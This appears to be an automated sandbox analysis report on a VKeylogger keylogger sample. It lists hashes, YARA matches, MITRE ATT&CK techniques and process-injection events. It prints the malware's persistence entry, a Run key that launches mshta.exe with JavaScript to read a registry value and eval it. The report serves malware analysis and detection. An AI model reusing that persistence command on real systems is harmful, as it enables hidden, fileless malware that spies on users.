vkeylogger | 7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5

General

Target

7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5.exe
Size

337KB
MD5

41d46166752bc1ca3251f45caaab670c
SHA1

bde17b99bd1502e04c644548f40fdb6212db2aa7
SHA256

7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5
SHA512

6606c144a73d59cf68080bfa58f8e26401d768be614bd94843a2eb003e457ee53487b0e9284e4dffaea9befeae1c57edd39f9e84d0c1df261b31372473077741

Score

10^/10

vkeylogger keylogger persistence stealer

Malware Config

Signatures

VKeylogger
A keylogger first seen in Nov 2020.
stealer keylogger vkeylogger

VKeylogger Payload 3 IoCs

resource	yara_rule
behavioral1/memory/2708-116-0x0000000000600000-0x000000000060E000-memory.dmp	family_vkeylogger
behavioral1/memory/2708-117-0x0000000000400000-0x00000000004D5000-memory.dmp	family_vkeylogger
behavioral1/memory/612-119-0x0000000002FB0000-0x0000000002FBF000-memory.dmp	family_vkeylogger

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\fefgre = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\ytyr = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);"	explorer.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2708 set thread context of 612	2708	7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5.exe	69

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2708	7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5.exe
612	explorer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
612	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
612	explorer.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 612	2708	7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5.exe	69
PID 2708 wrote to memory of 612	2708	7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5.exe	69
PID 2708 wrote to memory of 612	2708	7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5.exe	69

C:\Users\Admin\AppData\Local\Temp\7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5.exe
"C:\Users\Admin\AppData\Local\Temp\7325d304e8560ff643a656fd3689adcaec39650840efa8273c4556f6532e98d5.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\SysWOW64\explorer.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:612

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/612-119-0x0000000002FB0000-0x0000000002FBF000-memory.dmp

Filesize
60KB

Download
memory/2708-116-0x0000000000600000-0x000000000060E000-memory.dmp

Filesize
56KB

Download
memory/2708-117-0x0000000000400000-0x00000000004D5000-memory.dmp

Filesize
852KB

Download

Analysis

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